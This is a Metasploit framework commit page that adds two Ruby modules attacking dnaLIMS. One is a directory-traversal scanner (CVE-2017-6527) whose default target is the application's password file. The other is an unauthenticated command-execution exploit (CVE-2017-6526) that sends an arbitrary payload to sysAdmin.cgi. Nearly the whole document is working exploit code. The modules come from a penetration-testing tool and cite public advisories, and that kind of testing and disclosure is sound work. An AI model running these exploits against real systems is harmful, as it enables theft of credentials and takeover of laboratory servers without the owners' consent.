Skip to content

Commit 7bcd53d

Browse files
committed
Land rapid7#8079, exploit and aux for dnaLims
2 parents f9ecefe + a767139 commit 7bcd53d

File tree

2 files changed

+188
-0
lines changed

2 files changed

+188
-0
lines changed
Lines changed: 81 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,81 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class MetasploitModule < Msf::Auxiliary
9+
10+
include Msf::Auxiliary::Scanner
11+
include Msf::Auxiliary::Report
12+
include Msf::Exploit::Remote::HttpClient
13+
14+
def initialize(info = {})
15+
super(update_info(info,
16+
'Name' => 'DnaLIMS Directory Traversal',
17+
'Description' => %q{
18+
This module exploits a directory traversal vulnerability found in dnaLIMS.
19+
Due to the way the viewAppletFsa.cgi script handles the 'secID' parameter, it is possible
20+
to read a file outside the www directory.
21+
},
22+
'References' =>
23+
[
24+
['CVE', '2017-6527'],
25+
['US-CERT-VU', '929263'],
26+
['URL', 'https://www.shorebreaksecurity.com/blog/product-security-advisory-psa0002-dnalims/']
27+
],
28+
'Author' =>
29+
[
30+
'h00die <[email protected]>', # Discovery, PoC
31+
'flakey_biscuit <[email protected]>' # Discovery, PoC
32+
],
33+
'License' => MSF_LICENSE,
34+
'DisclosureDate' => "Mar 8 2017"
35+
))
36+
37+
register_options(
38+
[
39+
OptString.new('TARGETURI', [true, 'The base path to dnaLIMS', '/cgi-bin/dna/']),
40+
OptString.new('FILE', [ true, "The path to the file to view", '/home/dna/spool/.pfile']), # password db for app
41+
OptInt.new('DEPTH', [true, 'The traversal depth', 4])
42+
], self.class)
43+
44+
deregister_options('RHOST')
45+
end
46+
47+
48+
def run_host(ip)
49+
file = (datastore['FILE'][0,1] == '/') ? datastore['FILE'] : "#{datastore['FILE']}"
50+
traverse = "../" * datastore['DEPTH']
51+
uri = normalize_uri(target_uri.path)
52+
base = File.dirname("#{uri}/.")
53+
54+
print_status("Requesting: #{file} - #{rhost}")
55+
res = send_request_cgi({
56+
'uri' => "#{base}/viewAppletFsa.cgi",
57+
'vars_get' => { 'secID' => "#{traverse}#{file}%00",
58+
'Action' => 'blast',
59+
'hidenav' => '1'
60+
}
61+
})
62+
63+
if not res
64+
print_error("No response from server.")
65+
return
66+
end
67+
68+
if res.code != 200
69+
print_error("Server returned a non-200 response (body will not be saved):")
70+
print_line(res.to_s)
71+
return
72+
end
73+
74+
vprint_good(res.body)
75+
p = store_loot('dnaLIMS.traversal.file', 'application/octet-stream', ip, res.body, File.basename(file))
76+
print_good("File saved as: #{p}")
77+
end
78+
79+
end
80+
81+
Lines changed: 107 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,107 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class MetasploitModule < Msf::Exploit::Remote
9+
Rank = ExcellentRanking
10+
11+
include Msf::Exploit::Remote::HttpClient
12+
13+
def initialize(info = {})
14+
super(update_info(info,
15+
'Name' => 'dnaLIMS Admin Module Command Execution',
16+
'Description' => %q{
17+
This module utilizes an administrative module which allows for
18+
command execution. This page is completely unprotected from any
19+
authentication when given a POST request.
20+
},
21+
'Author' =>
22+
[
23+
'h00die <[email protected]>', # Discovery, PoC
24+
'flakey_biscuit <[email protected]>' # Discovery, PoC
25+
],
26+
'License' => MSF_LICENSE,
27+
'References' =>
28+
[
29+
['CVE', '2017-6526'],
30+
['US-CERT-VU', '929263'],
31+
['URL', 'https://www.shorebreaksecurity.com/blog/product-security-advisory-psa0002-dnalims/']
32+
],
33+
'Platform' => %w( linux unix ),
34+
'Arch' => ARCH_CMD,
35+
'Payload' =>
36+
{
37+
'Space' => 1024,
38+
'DisableNops' => true,
39+
'Compat' =>
40+
{
41+
'RequiredCmd' => 'perl' # software written in perl, and guaranteed to be there
42+
}
43+
},
44+
'Targets' =>
45+
[
46+
[ 'Automatic Target', { }]
47+
],
48+
'DefaultTarget' => 0,
49+
'DisclosureDate' => 'Mar 8 2017'
50+
))
51+
52+
register_options(
53+
[
54+
OptString.new('TARGETURI', [true, 'The base path to dnaLIMS', '/cgi-bin/dna/'])
55+
], self.class
56+
)
57+
end
58+
59+
def check
60+
begin
61+
res = send_request_cgi(
62+
'uri' => normalize_uri(target_uri.path, 'sysAdmin.cgi'),
63+
'method' => 'POST',
64+
'vars_post' => {
65+
'investigator' => '',
66+
'username' => '',
67+
'navUserName' => '',
68+
'Action' => 'executeCmd',
69+
'executeCmdData' => 'perl -V'
70+
}
71+
)
72+
if res && res.body
73+
if /Summary of/ =~ res.body
74+
Exploit::CheckCode::Vulnerable
75+
else
76+
Exploit::CheckCode::Safe
77+
end
78+
else
79+
Exploit::CheckCode::Safe
80+
end
81+
rescue ::Rex::ConnectionError
82+
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
83+
end
84+
end
85+
86+
def exploit
87+
begin
88+
vprint_status('Sending Exploit')
89+
res = send_request_cgi(
90+
'uri' => normalize_uri(target_uri.path, 'sysAdmin.cgi'),
91+
'method' => 'POST',
92+
'vars_post' => {
93+
'investigator' => '',
94+
'username' => '',
95+
'navUserName' => '',
96+
'Action' => 'executeCmd',
97+
'executeCmdData' => payload.encoded,
98+
}
99+
)
100+
vprint_good(res.body)
101+
rescue ::Rex::ConnectionError
102+
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
103+
end
104+
end
105+
end
106+
107+

0 commit comments

Comments
 (0)